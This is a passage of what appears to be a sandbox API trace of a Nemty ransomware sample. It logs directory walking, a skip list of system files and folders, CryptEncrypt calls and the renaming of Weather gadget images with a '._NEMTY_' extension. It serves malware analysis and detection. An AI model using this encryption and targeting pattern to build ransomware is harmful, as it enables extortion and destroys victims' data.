| out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.138] CloseHandle (hObject=0xffffffff) returned 0 [0161.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0161.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0161.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0161.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0161.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter.png._nemty_kgobjgd_")) returned 0 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0161.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.139] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2=".") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="..") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="...") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="windows") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="rsa") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="ntldr") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="bootmgr") returned 1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="programdata") returned -1 [0161.139] lstrcmpiW (lpString1="docked_black_moon-last-quarter_partly-cloudy.png", lpString2="appdata") returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x6345da8, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 48 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340280 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x6345da8, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 48 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x6345da8, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 48 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0161.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=48, lpMultiByteStr=0x6345d60, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 48 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340280 [0161.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63400d0 [0161.140] Sleep (dwMilliseconds=0x5) [0161.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13b28070, dwHighDateTime=0x1d561e8)) [0161.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13b28070, dwHighDateTime=0x1d561e8)) [0161.146] GetLastError () returned 0x5 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0161.146] GetLastError () returned 0x5 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340368 [0161.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340368, pcchString=0x653e91c | out: pszString="Xs5EXmiNCWGl2ougpX0v6Lyquggxwe2UgMnaO13k5nR9+fgzpzewcqYUEUYwSzdd\r\nOjrE1PaBKXOXVo3a/BAcup8eGH5RnpExeZZhaEcUhHy1Lk9d+Mui7N0glWoMGK6z\r\n+eK1gIZUo7qKw+sWfQ53Mfwt5CFEESiF/9gRO4Whudld8dljh5xCgWngYOFPSq4O\r\nf8TFzmAdXDj/v9+U9z8LZpYmkL2+WtThbOIm35D8ki7t4FJuGRyL/ni7Y2TuSdhh\r\nnnmT7DMpJ+2vvJpBKP03Er41fIyN74m4XC0yWjetZ1U+vzRpQGmQAdUurQZN4vba\r\nIDfaDRABbM90MNwTPKQeTQ==\r\n", pcchString=0x653e91c) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0161.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340368 [0161.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.146] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.147] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 